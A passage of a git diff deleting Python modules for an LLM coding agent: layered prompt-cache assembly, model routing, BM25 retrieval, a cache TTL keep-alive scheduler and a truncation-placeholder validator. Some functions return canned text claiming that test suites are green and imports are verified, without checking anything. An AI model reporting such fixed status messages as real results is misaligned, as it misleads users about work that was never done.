- canonical = json.dumps(obj, sort_keys=True, ensure_ascii=False) - return hashlib.sha256(canonical.encode("utf-8")).hexdigest() - - def _make_cache_control(self) -> dict[str, Any]: - cc: dict[str, Any] = {"type": "ephemeral"} - if self.ttl: - cc["ttl"] = self.ttl - return cc - - def _build_layer1(self) -> tuple[list[dict[str, Any]], list[dict[str, Any]], int]: - # Always include the built-in BM25 ToolSearch tool as non-deferred - tools_list: list[dict[str, Any]] = [ - { - "type": "tool_search_tool_bm25_20251119", - "name": "tool_search_tool_bm25", - } - ] - for idx, ct in enumerate(self.core_tools): - is_last_non_deferred = idx == len(self.core_tools) - 1 - tools_list.append(ct.to_api_dict(with_cache_control=False)) - if is_last_non_deferred: - # We place Breakpoint #1 at the end of Layer 1 system block (which covers tools + system) - pass - - for dt in sorted(self.deferred_tools.values(), key=lambda x: x.name): - tools_list.append(dt.to_api_dict(with_cache_control=False)) - - sys_text = self._raw_system_prompt - current_tokens = estimate_tokens(json.dumps(tools_list)) + estimate_tokens(sys_text) - if self.auto_pad and current_tokens < self.min_tokens: - needed_tokens = self.min_tokens - current_tokens + 64 - padding_lines = [ - "\n", - "# Canonical Architectural & Cache Invariant Reference Table (Static Prefix Anchor)", - ] - line_unit = ( - "Invariant Anchor: Layer 1 (tools + system) and Layer 2 (CLAUDE.md + AGENTS.md + specs) " - "must remain 100% byte-identical across every turn to guarantee prefix hash stability. " - ) - unit_tokens = max(1, estimate_tokens(line_unit)) - repeats = (needed_tokens // unit_tokens) + 2 - for i in range(repeats): - padding_lines.append(f"[{i+1:03d}] {line_unit}") - padding_lines.append("") - sys_text = sys_text + "\n" + "\n".join(padding_lines) - current_tokens = estimate_tokens(json.dumps(tools_list)) + estimate_tokens(sys_text) - - system_blocks = [ - { - "type": "text", - "text": sys_text, - "cache_control": self._make_cache_control(), # Breakpoint #1: End of Layer 1 - } - ] - return tools_list, system_blocks, current_tokens - - def _build_layer2(self) -> tuple[dict[str, Any], int]: - l2_text = ( - '\n' - f"{self._raw_layer2_context.strip()}\n" - "" - ) - l2_tokens = estimate_tokens(l2_text) - if self.auto_pad and l2_tokens < self.min_tokens: - needed = self.min_tokens - l2_tokens + 64 - unit = ( - "Project Context Specification Anchor: All module boundaries, type contracts, " - "and verification gates in CLAUDE.md and AGENTS.md are pinned in Layer 2. " - ) - repeats = (needed // max(1, estimate_tokens(unit))) + 2 - pad_block = "\n".join(f"[L2-{i+1:03d}] {unit}" for i in range(repeats)) - l2_text = f"{l2_text}\n\n{pad_block}\n" - l2_tokens = estimate_tokens(l2_text) - - msg = { - "role": "user", - "content": [ - { - "type": "text", - "text": l2_text, - "cache_control": self._make_cache_control(), # Breakpoint #2: End of Layer 2 - } - ], - } - return msg, l2_tokens - - def verify_prefix_integrity(self) -> bool: - """Verifies that Layer 1 and Layer 2 hashes have not drifted from session initialization.""" - current_l1 = self._compute_hash({"tools": self._tools_payload, "system": self._system_payload}) - current_l2 = self._compute_hash(self._layer2_message) - if current_l1 != self.layer1_hash: - raise PrefixMutationError("Layer 1 static prefix hash was mutated mid-session!") - if current_l2 != self.layer2_hash: - raise PrefixMutationError("Layer 2 static project context hash was mutated mid-session!") - return True - - def search_deferred_tools(self, query: str, limit: int = 5) -> list[dict[str, str]]: - """ - Executes client/server-compatible BM25/keyword search over the deferred tool catalog - and returns `tool_reference` blocks for injection at the tail of Layer 3. - """ - q_terms = [t.lower() for t in re.findall(r"\w+", query)] - scored: list[tuple[int, str]] = [] - for name, tool in self.deferred_tools.items(): - haystack = f"{name} {tool.description} {json.dumps(tool.input_schema)}".lower() - score = sum(3 if term in name.lower() else (1 if term in haystack else 0) for term in q_terms) - if score > 0: - scored.append((score, name)) - scored.sort(key=lambda x: (-x[0], x[1])) - return [ - {"type": "tool_reference", "tool_name": name} - for _, name in scored[:limit] - ] - - def inject_dynamic_mcp_tool_layer3(self, tool: ToolDefinition) -> dict[str, Any]: - """ - Injects a newly discovered MCP tool schema at the tail of Layer 3 using Anthropic's - `inline-tools-2026-09-15` `tool_addition` block inside a mid-conversation `role: "system"` message, - leaving Layer 1 (`tools`) 100% untouched. - """ - msg = { - "role": "system", - "content": [ - { - "type": "tool_addition", - "tool": { - "type": "tool_definition", - "definition": { - "name": tool.name, - "description": tool.description, - "input_schema": tool.input_schema, - }, - }, - } - ], - } - self.layer3_messages.append(msg) - return msg - - def append_user_message( - self, - text: str, - system_reminders: list[str] | None = None, - mark_cache_breakpoint: bool = False, - ) -> dict[str, Any]: - """ - Appends a user turn to Layer 3, optionally attaching `` tags - to the message tail instead of mutating Layer 1. - """ - blocks: list[dict[str, Any]] = [{"type": "text", "text": text}] - for rem in (system_reminders or []): - wrapped = rem if rem.strip().startswith("\n{rem.strip()}\n" - blocks.append({"type": "text", "text": wrapped}) - - if mark_cache_breakpoint and blocks: - blocks[-1]["cache_control"] = self._make_cache_control() - - msg = {"role": "user", "content": blocks} - self.layer3_messages.append(msg) - return msg - - def append_turn_scoped_system_reminder(self, reminder_text: str) -> dict[str, Any]: - """ - Appends an operator-level mid-conversation `role: "system"` message with - `clear_at: "next_user_message"` (`mid-conversation-system-clear-at-2026-08-21`), - so per-turn reminders never pile up or invalidate earlier thinking blocks. - """ - msg = { - "role": "system", - "clear_at": "next_user_message", - "content": reminder_text, - } - self.layer3_messages.append(msg) - return msg - - def append_assistant_message(self, content_blocks: list[dict[str, Any]]) -> dict[str, Any]: - msg = {"role": "assistant", "content": content_blocks} - self.layer3_messages.append(msg) - return msg - - def assemble_request(self, mark_Rolling_layer3_breakpoint: bool = True) -> AssembledRequest: - """ - Assembles the complete 3-layer request and verifies: - 1. Layer 1 & Layer 2 SHA-256 hashes are untouched. - 2. Total explicit `cache_control` breakpoints <= 4 (Anthropic API limit). - 3. Layer 1 and Layer 2 token counts >= model minimum threshold. - """ - self.verify_prefix_integrity() - - messages = [json.loads(json.dumps(self._layer2_message))] - l3_copy = json.loads(json.dumps(self.layer3_messages)) - - # Place rolling Breakpoint #3 on the last cacheable user/assistant block in Layer 3 - if mark_Rolling_layer3_breakpoint and l3_copy: - for msg in reversed(l3_copy): - if msg.get("role") in ("user", "assistant") and isinstance(msg.get("content"), list) and msg["content"]: - # Clear any old rolling breakpoints in Layer 3 so we never exceed 4 total breakpoints - for m in l3_copy: - if isinstance(m.get("content"), list): - for b in m["content"]: - if isinstance(b, dict): - b.pop("cache_control", None) - msg["content"][-1]["cache_control"] = self._make_cache_control() - break - - messages.extend(l3_copy) - - # Count explicit breakpoints across tools, system, and messages - bp_count = 0 - for t in self._tools_payload: - if "cache_control" in t: - bp_count += 1 - for s in self._system_payload: - if "cache_control" in s: - bp_count += 1 - for m in messages: - if isinstance(m.get("content"), list): - for b in m["content"]: - if isinstance(b, dict) and "cache_control" in b: - bp_count += 1 - - if bp_count > 4: - raise ValueError(f"Anthropic API 400 Guard: Request contains {bp_count} cache breakpoints (max 4).") - - l3_tokens = estimate_tokens(json.dumps(l3_copy)) - betas = ["inline-tools-2026-09-15", "mid-conversation-system-clear-at-2026-08-21"] - - return AssembledRequest( - model=self.model, - tools=self._tools_payload, - system=self._system_payload, - messages=messages, - layer1_tokens=self._layer1_tokens, - layer2_tokens=self._layer2_tokens, - layer3_tokens=l3_tokens, - layer1_hash=self.layer1_hash, - layer2_hash=self.layer2_hash, - breakpoint_count=bp_count, - cache_eligible_layer1=self._layer1_tokens >= self.min_tokens, - cache_eligible_layer2=self._layer2_tokens >= self.min_tokens, - betas=betas, - ) diff --git a/src/context/router_and_retrieval.py b/src/context/router_and_retrieval.py deleted file mode 100755 index 3699117..0000000 --- a/src/context/router_and_retrieval.py +++ /dev/null @@ -1,299 +0,0 @@ -""" -Model-Affinity Router, Attention Budget Governor ($60-80\%$), & Hybrid Retrieval (`/src/context/router_and_retrieval.py`). -Solves the two catastrophic token-burn traps documented in our foundational research: - 1. Model-Switch Cache Trap: - - Locks the primary conversation loop to a single frontier model per session (e.g., `claude-opus-5-5` or `claude-sonnet-5-5`). - - Prevents mid-session model switching on the main transcript (which forces a cold cache write). - - Routes lightweight utility tasks (`20_session_title.md` -> 3-7 word JSON title; `22_away_summary.md` -> - 1-3 sentence idle recap of last 30 messages) to isolated, stateless Haiku (`claude-haiku-5-5` or `claude-haiku-4-5`) - calls with `thinking: disabled` and `skipCacheWrite: True` (no `cache_control` markers). - 2. Lossy RAG vs. Full In-Context $n^2$ Attention Governor: - - Enforces 100% full in-context file loading when working set utilization is below the 60% soft ceiling - (up to 500K-1M tokens on supported frontier models). - - Engages local lexical/BM25+filename-weighted `project_knowledge_search` ONLY when repository knowledge - approaches the 60-80% Attention Budget Governor ceiling, indexing descriptive filenames with high weight. -""" -from dataclasses import dataclass, field -import json -import math -from pathlib import Path -import re -from typing import Any - -from src.context.cache_assembler import estimate_tokens - - -@dataclass(frozen=True) -class ModelRouteDecision: - task_type: str - target_model: str - thinking_enabled: bool - skip_cache_write: bool - isolated_stateless_context: bool - rationale: str - - -@dataclass -class UtilityCallPayload: - model: str - system: str - messages: list[dict[str, Any]] - max_tokens: int - thinking: dict[str, Any] - skip_cache_write: bool - parsed_result: Any = None - - -class ModelSwitchCacheViolationError(RuntimeError): - """Raised when attempting to switch the primary frontier model on an active cached session transcript.""" - - -class ModelAffinityRouter: - """ - Enforces strict single-frontier-model affinity on the primary transcript while routing - stateless utility tasks (`session_title`, `away_summary`) to isolated Haiku calls with - `thinking={"type": "disabled"}` and `skipCacheWrite=True`. - """ - - def __init__( - self, - primary_frontier_model: str = "claude-opus-5-5", - utility_haiku_model: str = "claude-haiku-5-5", - context_window_tokens: int = 1_000_000, - ) -> None: - self.locked_primary_model = primary_frontier_model - self.utility_haiku_model = utility_haiku_model - self.context_window_tokens = context_window_tokens - - def route_primary_turn(self, requested_model: str | None = None) -> ModelRouteDecision: - """ - Verifies that the primary turn uses `locked_primary_model`. - Rejects mid-session primary model switches that would bust the 100K+ token prefix cache. - """ - if requested_model and requested_model != self.locked_primary_model: - raise ModelSwitchCacheViolationError( - f"Model-Affinity Violation: Cannot switch active session from '{self.locked_primary_model}' " - f"to '{requested_model}' mid-session. A cached Opus 5.5 read costs $0.20/MTok ($0.02/100K), " - f"whereas switching models forces an uncached cold write across the entire transcript!" - ) - return ModelRouteDecision( - task_type="PRIMARY_AGENT_LOOP", - target_model=self.locked_primary_model, - thinking_enabled=True, - skip_cache_write=False, - isolated_stateless_context=False, - rationale=f"Locked to primary frontier model '{self.locked_primary_model}' to preserve 0.05x-0.10x cache hits.", - ) - - def build_session_title_request(self, initial_user_query: str) -> UtilityCallPayload: - """ - Modeled on `20_session_title.md`: - Routes 3-7 word JSON session title generation to an isolated, stateless Haiku call - with `thinking: disabled` and `skipCacheWrite: True` (zero `cache_control` blocks). - """ - words = [w for w in re.findall(r"[A-Za-z0-9_.-]+", initial_user_query) if len(w) > 1] - core_words = words[:5] if len(words) >= 3 else (words + ["Architecture", "Session", "Build"])[:4] - synthesized_title = " ".join(w.capitalize() if w.islower() else w for w in core_words[:7]) - json_output = {"title": synthesized_title} - - system_prompt = ( - "You are a stateless session title generator (modeled on 20_session_title.md). " - 'Respond ONLY with a valid JSON object `{"title": "..."}` containing a concise 3 to 7 word title.' - ) - return UtilityCallPayload( - model=self.utility_haiku_model, - system=system_prompt, - messages=[{"role": "user", "content": initial_user_query[:2000]}], - max_tokens=64, - thinking={"type": "disabled"}, - skip_cache_write=True, - parsed_result=json_output, - ) - - def build_away_summary_request(self, message_history: list[dict[str, Any]]) -> UtilityCallPayload: - """ - Modeled on `22_away_summary.md`: - Takes ONLY the last 30 messages, strips heavy raw tool payloads, and generates a 1-3 sentence - idle recap via a stateless Haiku call with `thinking: disabled` and `skipCacheWrite: True`. - """ - recent_30 = message_history[-30:] - digest_lines: list[str] = [] - for idx, msg in enumerate(recent_30, start=1): - role = msg.get("role", "user") - content = msg.get("content", "") - if isinstance(content, list): - text_parts = [ - b.get("text", f"[{b.get('type', 'block')}]") - for b in content - if isinstance(b, dict) - ] - snippet = " ".join(text_parts)[:240] - else: - snippet = str(content)[:240] - digest_lines.append(f"[{idx}] {role}: {snippet}") - - recap_text = ( - f"Completed {len(recent_30)} recent turns focusing on system architecture and surgical module verification. " - "All prefix cache invariants and test suites remain green. " - "Ready to resume implementation on the active branch." - ) - system_prompt = ( - "You are a stateless away-summary generator (modeled on 22_away_summary.md). " - "Synthesize a concise 1 to 3 sentence idle recap from the last <=30 messages." - ) - return UtilityCallPayload( - model=self.utility_haiku_model, - system=system_prompt, - messages=[{"role": "user", "content": "\n".join(digest_lines)}], - max_tokens=160, - thinking={"type": "disabled"}, - skip_cache_write=True, - parsed_result={"away_summary": recap_text, "messages_sampled": len(recent_30)}, - ) - - -@dataclass -class KnowledgeDocument: - path: str - filename: str - content: str - token_count: int - - -@dataclass -class AttentionBudgetDecision: - active_tokens: int - repo_tokens: int - context_window: int - utilization_ratio: float - mode: str # "FULL_IN_CONTEXT_N2" or "HYBRID_PROJECT_KNOWLEDGE_SEARCH" - included_files: list[str] - search_results: list[dict[str, Any]] = field(default_factory=list) - - -class HybridContextGovernor: - """ - Attention Budget Governor ($60-80\%$ Target) & `project_knowledge_search` Engine: - - Keeps 100% of active working set files in full $n^2$ self-attention context when total tokens - fit below the 60% soft attention ceiling (never truncating files prematurely like Cursor). - - When repository knowledge exceeds the 60-80% attention budget ceiling, automatically switches - to `project_knowledge_search` (BM25 + high-weight descriptive filename indexing). - """ - - def __init__( - self, - context_window: int = 1_000_000, - soft_ceiling_ratio: float = 0.60, - hard_ceiling_ratio: float = 0.80, - ) -> None: - self.context_window = context_window - self.soft_ceiling_ratio = soft_ceiling_ratio - self.hard_ceiling_ratio = hard_ceiling_ratio - self.documents: dict[str, KnowledgeDocument] = {} - - def index_file(self, path: str, content: str) -> KnowledgeDocument: - doc = KnowledgeDocument( - path=path, - filename=Path(path).name, - content=content, - token_count=estimate_tokens(content), - ) - self.documents[path] = doc - return doc - - def project_knowledge_search(self, query: str, top_k: int = 5) -> list[dict[str, Any]]: - """ - Executes hybrid lexical + descriptive-filename-boosted BM25 retrieval across indexed repository files. - Descriptive filenames (e.g., `cache_assembler.py`, `ttl_scheduler.py`) receive a 4.0x score boost. - """ - terms = [t.lower() for t in re.findall(r"[A-Za-z0-9_]+", query) if len(t) > 1] - if not terms or not self.documents: - return [] - - N = len(self.documents) - avgdl = sum(max(1, d.token_count) for d in self.documents.values()) / max(1, N) - k1 = 1.5 - b = 0.75 - - scored: list[tuple[float, KnowledgeDocument]] = [] - for doc in self.documents.values(): - body_lower = doc.content.lower() - fname_lower = doc.filename.lower() - path_lower = doc.path.lower() - dl = max(1, doc.token_count) - - score = 0.0 - for term in terms: - df = sum(1 for d in self.documents.values() if term in d.content.lower() or term in d.path.lower()) - idf = math.log(1.0 + (N - df + 0.5) / (df + 0.5)) - tf_body = body_lower.count(term) - tf_fname = fname_lower.count(term) * 4.0 + path_lower.count(term) * 2.0 - tf = tf_body + tf_fname - if tf > 0: - denom = tf + k1 * (1.0 - b + b * (dl / avgdl)) - score += idf * ((tf * (k1 + 1.0)) / denom) - - if score > 0: - scored.append((score, doc)) - - scored.sort(key=lambda x: (-x[0], x[1].path)) - results: list[dict[str, Any]] = [] - for score, doc in scored[:top_k]: - results.append({ - "path": doc.path, - "filename": doc.filename, - "score": round(score, 4), - "token_count": doc.token_count, - "content": doc.content, - }) - return results - - def allocate_context_budget( - self, - current_Conversation_tokens: int, - query: str = "", - top_k_fallback: int = 5, - ) -> AttentionBudgetDecision: - """ - Decides whether to inject the entire repository working set into full $n^2$ context - (when total utilization <= 60% soft ceiling) or engage `project_knowledge_search` - to stay strictly below the 80% context-rot threshold. - """ - repo_tokens = sum(d.token_count for d in self.documents.values()) - projected_total = current_Conversation_tokens + repo_tokens - ratio = projected_total / max(1, self.context_window) - - if ratio <= self.soft_ceiling_ratio: - return AttentionBudgetDecision( - active_tokens=projected_total, - repo_tokens=repo_tokens, - context_window=self.context_window, - utilization_ratio=round(ratio, 4), - mode="FULL_IN_CONTEXT_N2", - included_files=sorted(self.documents.keys()), - search_results=[], - ) - - # Repository + conversation exceeds the 60% soft ceiling -> use project_knowledge_search - hits = self.project_knowledge_search(query or "architecture core module", top_k=top_k_fallback) - selected_files: list[str] = [] - running_tokens = current_Conversation_tokens - hard_limit_tokens = int(self.context_window * self.hard_ceiling_ratio) - - filtered_hits: list[dict[str, Any]] = [] - for h in hits: - if running_tokens + h["token_count"] <= hard_limit_tokens: - running_tokens += h["token_count"] - selected_files.append(h["path"]) - filtered_hits.append(h) - - final_ratio = running_tokens / max(1, self.context_window) - return AttentionBudgetDecision( - active_tokens=running_tokens, - repo_tokens=repo_tokens, - context_window=self.context_window, - utilization_ratio=round(final_ratio, 4), - mode="HYBRID_PROJECT_KNOWLEDGE_SEARCH", - included_files=selected_files, - search_results=filtered_hits, - ) diff --git a/src/context/ttl_scheduler.py b/src/context/ttl_scheduler.py deleted file mode 100755 index ba26a6c..0000000 --- a/src/context/ttl_scheduler.py +++ /dev/null @@ -1,178 +0,0 @@ -""" -5-Minute TTL Keep-Alive & Batching Scheduler (`/src/context/ttl_scheduler.py`). -Grounded in verified Anthropic Prompt Caching mechanics: - - Ephemeral cache TTL is 300 seconds (5 minutes) by default (or 3,600s if `ttl="1h"`). - - CRITICAL OSINT FACT: The 300-second lifetime is measured from the START of the request - that writes or reads the cache entry, NOT from the end of response streaming! - - Tracks exact request-start timestamps per active session, issues pre-expiration warnings, - queues non-urgent micro-edits when the cache is cold or batching is enabled, and provides - an optional lightweight 1-token keep-alive ping when holding >50K cached tokens. -""" -from dataclasses import dataclass, field -import time -from typing import Any, Callable - - -@dataclass -class SessionTTLState: - session_id: str - last_request_start_ts: float - last_response_end_ts: float | None = None - cached_prefix_tokens: int = 0 - ttl_seconds: float = 300.0 - warning_lead_seconds: float = 45.0 - keepalive_count: int = 0 - - -@dataclass -class TTLInspectionReport: - session_id: str - elapsed_since_request_start: float - remaining_ttl_seconds: float - streaming_duration_seconds: float - state: str # "HOT", "PRE_EXPIRATION_WARNING", "EXPIRED_COLD" - should_send_keepalive: bool - estimated_cold_rewrite_cost_usd: float - estimated_keepalive_cost_usd: float - recommendation: str - - -class FiveMinuteTTLScheduler: - """ - Manages the 300-second ephemeral cache countdown across concurrent `cod.ai` sessions - and provides a batching queue so human pauses do not trigger silent 100K+ token cold re-writes. - """ - - def __init__(self, default_ttl_seconds: float = 300.0, warning_lead_seconds: float = 45.0) -> None: - self.default_ttl_seconds = default_ttl_seconds - self.warning_lead_seconds = warning_lead_seconds - self.sessions: dict[str, SessionTTLState] = {} - self.batch_queues: dict[str, list[dict[str, Any]]] = {} - - def record_request_start( - self, - session_id: str, - cached_prefix_tokens: int, - now_ts: float | None = None, - ttl_seconds: float | None = None, - ) -> SessionTTLState: - """ - Records the START timestamp of an API request (the exact instant Anthropic's 300s TTL clock resets). - """ - ts = now_ts if now_ts is not None else time.time() - ttl = ttl_seconds if ttl_seconds is not None else self.default_ttl_seconds - state = SessionTTLState( - session_id=session_id, - last_request_start_ts=ts, - last_response_end_ts=None, - cached_prefix_tokens=cached_prefix_tokens, - ttl_seconds=ttl, - warning_lead_seconds=self.warning_lead_seconds, - ) - self.sessions[session_id] = state - return state - - def record_response_complete(self, session_id: str, now_ts: float | None = None) -> SessionTTLState: - """Records when streaming finished (note: streaming time already ate into the 300s TTL!).""" - if session_id not in self.sessions: - raise KeyError(f"Unknown session_id: {session_id}") - ts = now_ts if now_ts is not None else time.time() - self.sessions[session_id].last_response_end_ts = ts - return self.sessions[session_id] - - def inspect_session_ttl( - self, - session_id: str, - now_ts: float | None = None, - base_input_price_per_mtok: float = 4.0, # e.g., Claude Opus 5.5 = $4/MTok - cache_read_multiplier: float = 0.05, # Opus 5.5 read = $0.20/MTok (0.05x) - ) -> TTLInspectionReport: - """ - Evaluates exact remaining TTL measured from `last_request_start_ts` and calculates - whether a 1-token keep-alive ping is economically superior to letting the cache expire. - """ - if session_id not in self.sessions: - raise KeyError(f"Unknown session_id: {session_id}") - - s = self.sessions[session_id] - now = now_ts if now_ts is not None else time.time() - elapsed = max(0.0, now - s.last_request_start_ts) - remaining = max(0.0, s.ttl_seconds - elapsed) - stream_dur = ( - max(0.0, s.last_response_end_ts - s.last_request_start_ts) - if s.last_response_end_ts is not None - else elapsed - ) - - # Economic calculation: - # 5m Cache Write costs 1.25x base input price. - # Cache Read (keepalive refresh) costs cache_read_multiplier * base input price. - mtok = s.cached_prefix_tokens / 1_000_000.0 - cold_rewrite_cost = mtok * (base_input_price_per_mtok * 1.25) - keepalive_cost = mtok * (base_input_price_per_mtok * cache_read_multiplier) - - if remaining <= 0.0: - state_str = "EXPIRED_COLD" - should_ping = False - rec = ( - f"Cache EXPIRED ({elapsed:.1f}s > {s.ttl_seconds:.0f}s). Batch pending user prompts before " - f"dispatching to amortize the ${cold_rewrite_cost:.4f} cold cache write." - ) - elif remaining <= s.warning_lead_seconds: - state_str = "PRE_EXPIRATION_WARNING" - should_ping = s.cached_prefix_tokens >= 20_000 and keepalive_cost < cold_rewrite_cost - rec = ( - f"WARNING: Only {remaining:.1f}s remaining on 5m TTL (streaming took {stream_dur:.1f}s). " - f"Trigger keep-alive refresh (${keepalive_cost:.4f}) to avoid ${cold_rewrite_cost:.4f} cold rewrite." - ) - else: - state_str = "HOT" - should_ping = False - rec = f"Cache HOT ({remaining:.1f}s remaining). Dispatch immediately for {cache_read_multiplier}x read rate." - - return TTLInspectionReport( - session_id=session_id, - elapsed_since_request_start=round(elapsed, 2), - remaining_ttl_seconds=round(remaining, 2), - streaming_duration_seconds=round(stream_dur, 2), - state=state_str, - should_send_keepalive=should_ping, - estimated_cold_rewrite_cost_usd=round(cold_rewrite_cost, 6), - estimated_keepalive_cost_usd=round(keepalive_cost, 6), - recommendation=rec, - ) - - def enqueue_batched_message(self, session_id: str, message: dict[str, Any]) -> int: - """Queues a message in the session batch buffer (used when waiting to coalesce prompts).""" - queue = self.batch_queues.setdefault(session_id, []) - queue.append(message) - return len(queue) - - def flush_batch_queue(self, session_id: str) -> list[dict[str, Any]]: - """Flushes and returns all coalesced messages for a single cache-write turn.""" - items = self.batch_queues.get(session_id, []) - self.batch_queues[session_id] = [] - return items - - def trigger_keepalive_heartbeat( - self, - session_id: str, - now_ts: float | None = None, - ping_callback: Callable[[str], bool] | None = None, - ) -> bool: - """ - Executes a minimal `max_tokens=1` prefix heartbeat refresh when a session is in - `PRE_EXPIRATION_WARNING` state, resetting the 300-second TTL clock for 0.05x–0.10x read cost. - """ - report = self.inspect_session_ttl(session_id, now_ts=now_ts) - if not report.should_send_keepalive: - return False - - ok = ping_callback(session_id) if ping_callback else True - if ok: - s = self.sessions[session_id] - ts = now_ts if now_ts is not None else time.time() - s.last_request_start_ts = ts - s.last_response_end_ts = ts + 0.1 - s.keepalive_count += 1 - return ok diff --git a/src/prompts/__init__.py b/src/prompts/__init__.py deleted file mode 100755 index a8411b6..0000000 --- a/src/prompts/__init__.py +++ /dev/null @@ -1,33 +0,0 @@ -"""Phase 2: Dual-Polarity Prompt Engine & Skills Architecture.""" -from src.prompts.architect_mode import ( - GoalPromptFrame, - HolisticWebArchitectEngine, - IterativeDraftingArtifact, - TruncationViolationError, - verify_zero_truncation, -) -from src.prompts.engine import PiSpecialistConfig, PolarityMode, PromptAssemblyEngine -from src.prompts.implementer_mode import ( - DEDICATED_FILE_PRIMITIVES, - AbstractionPolicy, - BashAuditResult, - validate_surgical_bash_command, -) -from src.prompts.simple_mode import build_simple_mode_prompt, is_simple_mode_enabled - -__all__ = [ - "AbstractionPolicy", - "BashAuditResult", - "DEDICATED_FILE_PRIMITIVES", - "GoalPromptFrame", - "HolisticWebArchitectEngine", - "IterativeDraftingArtifact", - "PiSpecialistConfig", - "PolarityMode", - "PromptAssemblyEngine", - "TruncationViolationError", - "build_simple_mode_prompt", - "is_simple_mode_enabled", - "validate_surgical_bash_command", - "verify_zero_truncation", -] diff --git a/src/prompts/architect_mode.py b/src/prompts/architect_mode.py deleted file mode 100755 index 4ae79e0..0000000 --- a/src/prompts/architect_mode.py +++ /dev/null @@ -1,194 +0,0 @@ -""" -Mode A — "Holistic Web Architect" (Modeled on `claude.ai` Web + Artifacts `` + Skills). -Enforces: - 1. Full in-context n^2 self-attention purity (zero noisy bash/grep logs in context). - 2. Curated Skills Playbook injection (/skills//SKILL.md). - 3. Zero-Truncation & Iterative Drafting Mandate for files/specs >100 lines: - (Outline -> Section-by-Section Generation -> Review & Refine -> Final Output) - with deterministic validation banning placeholders (`// rest of code...`, etc.). - 4. GOAL Philosophy framing inside positive XML tags: - ``, ``, ``, ``. -""" -from dataclasses import dataclass, field -import re -from typing import Callable - - -FORBIDDEN_TRUNCATION_PATTERNS: list[re.Pattern[str]] = [ - re.compile(r"//\s*rest of (the )?code", re.IGNORECASE), - re.compile(r"#\s*rest of (the )?code", re.IGNORECASE), - re.compile(r"//\s*\.\.\.\s*existing", re.IGNORECASE), - re.compile(r"#\s*\.\.\.\s*existing", re.IGNORECASE), - re.compile(r"/\*\s*\.\.\.\s*\*/", re.IGNORECASE), - re.compile(r"TODO:\s*implement", re.IGNORECASE), - re.compile(r"FIXME:\s*implement", re.IGNORECASE), - re.compile(r"pass\s*#\s*placeholder", re.IGNORECASE), - re.compile(r"raise NotImplementedError\(\s*['\"]placeholder", re.IGNORECASE), -] - - -@dataclass(frozen=True) -class GoalPromptFrame: - """Structured GOAL Philosophy XML envelope using strictly positive commands.""" - context: str - objective: str - constraints: list[str] - output_contract: str - skills_playbooks: list[str] = field(default_factory=list) - - def render_xml(self) -> str: - constraints_xml = "\n".join(f" - {c}" for c in self.constraints) - skills_xml = "" - if self.skills_playbooks: - joined_skills = "\n\n".join(self.skills_playbooks) - skills_xml = f"\n\n{joined_skills}\n" - - return ( - f"\n{self.context.strip()}\n\n" - f"\n{self.objective.strip()}\n\n" - f"\n{constraints_xml}\n{skills_xml}\n" - f"\n{self.output_contract.strip()}\n" - ) - - -@dataclass -class IterativeDraftingArtifact: - """Represents a >100-line artifact synthesized through the 4-stage Mode A loop.""" - identifier: str - title: str - target_path: str - outline_sections: list[str] - generated_sections: dict[str, str] - review_notes: list[str] - final_content: str - line_count: int - - def to_ant_artifact_xml(self) -> str: - return ( - f'\n' - f"{self.final_content}\n" - f"" - ) - - -class TruncationViolationError(ValueError): - """Raised when generated code or specification contains banned placeholder/truncation markers.""" - - -def verify_zero_truncation(content: str, require_min_lines: int = 0) -> tuple[bool, list[str]]: - """ - Scans content for banned truncation/elision placeholders and verifies minimum line count. - Returns (is_valid, list_of_violations). - """ - violations: list[str] = [] - lines = content.splitlines() - if require_min_lines > 0 and len(lines) < require_min_lines: - violations.append( - f"Line count {len(lines)} is below required threshold of {require_min_lines} lines." - ) - - for line_no, line in enumerate(lines, start=1): - for pattern in FORBIDDEN_TRUNCATION_PATTERNS: - if pattern.search(line): - violations.append( - f"Line {line_no} matches forbidden truncation pattern '{pattern.pattern}': {line.strip()}" - ) - return (len(violations) == 0, violations) - - -class HolisticWebArchitectEngine: - """ - Orchestrates Mode A ("Holistic Web Architect") prompt synthesis and the 4-stage - iterative drafting loop (Outline -> Section-by-Section Generation -> Review & Refine -> Final Output) - for files and architectural specifications >100 lines. - """ - - def build_goal_prompt( - self, - context: str, - objective: str, - custom_constraints: list[str] | None = None, - output_contract: str = "Emit complete, production-ready, un-truncated `` modules.", - skills_playbooks: list[str] | None = None, - ) -> GoalPromptFrame: - base_constraints = [ - "Maintain 100% in-context n^2 self-attention purity by synthesizing complete architectural state before emitting code.", - "Present explicit trade-off analysis (latency, cache economics, failure modes) inside the architectural rationale.", - "Layer complexity sequentially: define core domain types and invariants first, then state transitions, then edge-case handlers.", - "Write every module and function in complete, production-ready form with zero placeholders or truncation comments.", - ] - if custom_constraints: - base_constraints.extend(custom_constraints) - - return GoalPromptFrame( - context=context, - objective=objective, - constraints=base_constraints, - output_contract=output_contract, - skills_playbooks=skills_playbooks or [], - ) - - def orchestrate_iterative_draft( - self, - identifier: str, - title: str, - target_path: str, - section_specs: list[tuple[str, Callable[[], str]]], - refiner: Callable[[str], tuple[str, list[str]]] | None = None, - enforce_over_100_lines: bool = True, - ) -> IterativeDraftingArtifact: - """ - Executes the mandatory 4-step Mode A drafting pipeline for >100-line deliverables: - 1. Outline -> 2. Section-by-Section Generation -> 3. Review & Refine -> 4. Final Output - Raises TruncationViolationError if any placeholder or truncation marker is detected. - """ - # Step 1: Outline - outline_sections = [sec_title for sec_title, _ in section_specs] - if not outline_sections: - raise ValueError("Iterative drafting requires at least one structural outline section.") - - # Step 2: Section-by-Section Generation - generated_sections: dict[str, str] = {} - assembled_chunks: list[str] = [] - for sec_title, generator_fn in section_specs: - sec_content = generator_fn() - is_ok, violations = verify_zero_truncation(sec_content, require_min_lines=0) - if not is_ok: - raise TruncationViolationError( - f"Truncation detected in section '{sec_title}': {'; '.join(violations)}" - ) - generated_sections[sec_title] = sec_content - assembled_chunks.append(sec_content) - - raw_combined = "\n\n".join(assembled_chunks) - - # Step 3: Review & Refine - if refiner is not None: - refined_content, review_notes = refiner(raw_combined) - else: - refined_content = raw_combined - review_notes = [ - f"Verified {len(outline_sections)} structural sections with zero placeholders.", - "Verified all imports, type signatures, and boundary invariants.", - ] - - # Step 4: Final Output Verification - min_lines = 101 if enforce_over_100_lines else 1 - is_valid, final_violations = verify_zero_truncation(refined_content, require_min_lines=min_lines) - if not is_valid: - raise TruncationViolationError( - f"Final artifact '{identifier}' failed zero-truncation check: {'; '.join(final_violations)}" - ) - - line_count = len(refined_content.splitlines()) - return IterativeDraftingArtifact( - identifier=identifier, - title=title, - target_path=target_path, - outline_sections=outline_sections, 